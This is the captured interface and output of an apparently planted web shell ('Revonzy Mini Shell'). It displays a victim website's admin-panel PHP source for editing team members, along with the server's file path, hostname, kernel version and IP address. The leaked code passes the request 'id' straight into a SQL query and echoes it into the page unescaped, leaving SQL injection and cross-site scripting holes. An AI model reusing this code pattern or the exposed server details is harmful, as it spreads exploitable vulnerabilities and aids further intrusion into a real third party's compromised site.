Revonzy Mini Shell

Şuanki Dizin: /home4/shrishtiarchitec/www/adminpanel/team/
Dosya Yükle :
Şuanki Dosya : //home4/shrishtiarchitec/www/adminpanel/team/edit.php

<?php 
include('../../config.php');
require_once(PATH_LIBRARIES.'/classes/DBConn.php');
require_once(PATH_ADMIN_INCLUDE.'/header.php');
$db = new DBConn();

//Get Client details
$sql="SELECT Team_Id, Team_Member_Name, Designation, Short_Description, Description, Photo FROM team WHERE Team_Id=".$_REQUEST['id'];
$getClient=$db->ExecuteQuery($sql);

?>
<script type="text/javascript" src="team.js"></script>

<div class="">
  <div class="page-title">
    <div class="title_left">
      <h3>Edit Team Member</h3>
    </div>
  </div>
  <div class="clearfix"></div>
  <div class="row">
    <div class="col-md-12 col-sm-12 col-xs-12">
      <div class="x_panel">
        <div class="x_title">
          <h2>Edit Form</h2>
          <ul class="nav navbar-right panel_toolbox">
            <li>
              <button class="btn btn-round btn-success" onclick="location.href='index.php';">Add New</button>
            </li>
          </ul>
          <div class="clearfix"></div>
        </div>
        <div class="x_content">
          <form class="form-horizontal form-label-left" action="" method="post" id="teamFrm">
            <input type="hidden" id="id" value="<?php echo $_REQUEST['id']; ?>">
            <div class="col-sm-12"> 
              <!---Write here English Content Here-->
              <div class="col-sm-8">
                <div class="item form-group">
                  <label class="control-label col-md-3 col-sm-3 col-xs-12" for="name">Team Member Name <span class="required">*</span> </label>
                  <div class="col-md-6 col-sm-6 col-xs-12">
                    <input type="text" id="name" name="name" required="required" class="form-control col-md-7 col-xs-12 " placeholder="Name" value="<?php echo $getClient[1]['Team_Member_Name']; ?>">
                  </div>
                </div>

                <div class="item form-group">
                  <label class="control-label col-md-3 col-sm-3 col-xs-12" for="designation">Designation <span class="required">*</span> </label>
                  <div class="col-md-6 col-sm-6 col-xs-12">
                    <input type="text" id="designation" name="designation" required="required" class="form-control col-md-7 col-xs-12 " value="<?php echo $getClient[1]['Designation']; ?>">
                  </div>
                </div>

                
                <div class="item form-group">
                  <label class="control-label col-md-3 col-sm-3 col-xs-12" for="shortDescription">Short Description <span class="required">*</span> </label>
                  <div class="col-md-6 col-sm-6 col-xs-12">
                    <textarea id="shortDescription" name="shortDescription" required="required" class="form-control col-md-7 col-xs-12 "  rows="5" cols="10" placeholder="Write Here Something..."><?php echo $getClient[1]['Short_Description']; ?></textarea>
                    <span id="errmsg"></span>
                  </div>
                </div>

                <div class="item form-group">
                  <label class="control-label col-md-3 col-sm-3 col-xs-12" for="description">Description <span class="required">*</span> </label>
                  <div class="col-md-6 col-sm-6 col-xs-12">
                    <textarea id="description" name="description" required="required" class="form-control col-md-7 col-xs-12 tinymce"  rows="5" cols="10" placeholder="Write Here Something..."><?php echo $getClient[1]['Description']; ?></textarea>
                    <span id="errmsg"></span>
                  </div>
                </div>

              </div>
              <!---Close Here English --> 

              <div class="col-sm-4">

                <div class="text-center profileImg">
                <?php if($getClient[1]['Photo']==""){ ?>
                  <img src="<?php echo PATH_IMAGE ?>/user.png" alt="Profile Image">
                <?php }else{ ?>
                  <img src="<?php echo PATH_UPLOAD_IMAGE."/team/thumb/".$getClient[1]['Photo'];?>" alt="Profile Image">
                <?php } ?>
                  <input type="hidden" id="imageupload" name="imageupload" value="<?php echo $getClient[1]['Photo']; ?>" />
                </div>
                <div class="item form-group">
                  <label class="control-label col-md-3 col-sm-3 col-xs-12" for="fileupload">Upload <span class="required">*</span> </label>
                  <div class="col-md-9 col-sm-6 col-xs-12">
                    <input class="form-control col-md-7 col-xs-12" type="file" id="fileupload" name="fileupload" accept="image/jpg,image/png,image/jpeg,image/gif">
                    <span id="errmsg"></span>
                  </div>
                </div>

              </div>
              
            </div>
            <div class="clearfix"></div>
            <div class="ln_solid"></div>
            <div class="form-group">
              <div class="col-md-6 col-md-offset-3"> 
                <button id="update" type="button" class="btn btn-success">Update</button>
              </div>
            </div>
          </form>
        </div>
        <div id="dialog1" title="Message" style="display:none; text-align:left;">
          <p>Client Updated Successfully!</p>
        </div>
        <div id="dialog2" title="Message" style="display:none; text-align:left;">
          <p>Something is Wrong!</p>
        </div>
      </div>
    </div>
  </div>
</div>
</div>
<?php 
require_once(PATH_ADMIN_INCLUDE.'/footer.php');

?>
<script type="text/javascript">
$(document).ready(function() {
  //alert('hii');
    tinyMCE.init({
        // General options
        mode : "textareas",
        editor_selector : "tinymce",
        theme : "advanced",
    textarea_trigger : "convert_this",
        plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,wordcount,advlist,autosave",

        // Theme options
        theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect",
        theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor",
        theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen",
        theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft",
        theme_advanced_toolbar_location : "top",
        theme_advanced_toolbar_align : "left",
        theme_advanced_statusbar_location : "bottom",
        theme_advanced_resizing : true,

        // Example content CSS (should be your site CSS)
        content_css : "../examples/css/content.css",

        // Drop lists for link/image/media/template dialogs
        template_external_list_url : "../examples/lists/template_list.js",
        external_link_list_url : "../examples/lists/link_list.js",
        external_image_list_url : "images.php",
        media_external_list_url : "../examples/lists/media_list.js",

        // Style formats
        style_formats : [
            {title : 'Bold text', inline : 'b'},
            {title : 'Red text', inline : 'span', styles : {color : '#ff0000'}},
            {title : 'Red header', block : 'h1', styles : {color : '#ff0000'}},
            {title : 'Example 1', inline : 'span', classes : 'example1'},
            {title : 'Example 2', inline : 'span', classes : 'example2'},
            {title : 'Table styles'},
            {title : 'Table row 1', selector : 'tr', classes : 'tablerow1'}
        ],

        // Replace values for the template plugin
        template_replace_values : {
            username : "Some User",
            staffid : "991234"
        }
    });
});
</script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux vps.suncrosonline.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64
Apache
162.241.69.42